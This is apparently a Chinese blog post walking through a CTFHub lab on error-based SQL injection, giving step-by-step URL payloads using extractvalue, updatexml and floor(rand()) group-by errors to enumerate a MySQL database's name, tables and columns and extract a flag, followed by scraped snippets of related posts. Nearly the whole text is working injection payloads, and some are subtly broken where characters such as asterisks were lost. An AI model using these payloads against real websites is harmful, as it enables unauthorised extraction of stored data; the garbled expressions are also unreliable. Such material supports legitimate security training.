sql報錯注入

2022-08-02 02:51:09 字數 3225 閱讀 5550

當場景中僅僅將sql語句帶入查詢返回頁面正確,沒有返回點的時候,

需要報錯注入,用報錯的回顯。

裡面用slect語句,不能用 union select

1.功能:將多個字串連線成乙個字串。

2.語法:concat(str1, str2,...)  

返回結果為連線引數產生的字串,如果有任何乙個引數為null,則返回值為null。

extractvalue報錯注入語句格式:

?id=2 and extractvalue(null,concat(0x7e,(sql語句),0x7e))

?id=2 and extractvalue(null,concat(0x7e,(database()),0x7e))

得到資料庫名sqli

?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 0,1),0x7e))

得到第乙個表名news

?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e))

得到第二個表名flag

?id=2 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e))

得到flag表中第乙個欄位名為flag

測試 limit 1,1 時無返回所以應該就乙個字段

?id=2 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

得到一半的flag:ctfhub

合併得到flag ctfhub

?id=2+and+(select+1+from+(select+count(),concat((select(select+concat(cast(concat(flag)+as+char),0x7e))+from+sqli.flag+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)

對比合併得到flag ctfhub

?id=2 and (updatexml(1,concat(0x7e,(database()),0x7e),1))

得到資料庫sqli

?id=2+and+(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e),1))

得到表名flag

?id=2+and+(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e),1))

得到列名flag

?id=2+and+(updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1))

得到ctfhub

+and(select+1+from+(select+count(),concat((select(select+concat(cast(database()+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)

得到資料庫 sqli

?id=1+and(select+1+from+(select+count(),concat((select(select+concat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=0x73716c69+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)

得出第乙個表為news 修改為limit 1,1 得出為flag表

?id=1+and+(select+1+from+(select+count(),concat((select(select+concat(cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0x666c6167+and+table_schema=0x73716c69+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)

得出列名為flag

?id=1+and+(select+1+from+(select+count(),concat((select(select+concat(cast(concat(flag)+as+char),0x7e))+from+sqli.flag+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)

得到ctfhub

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...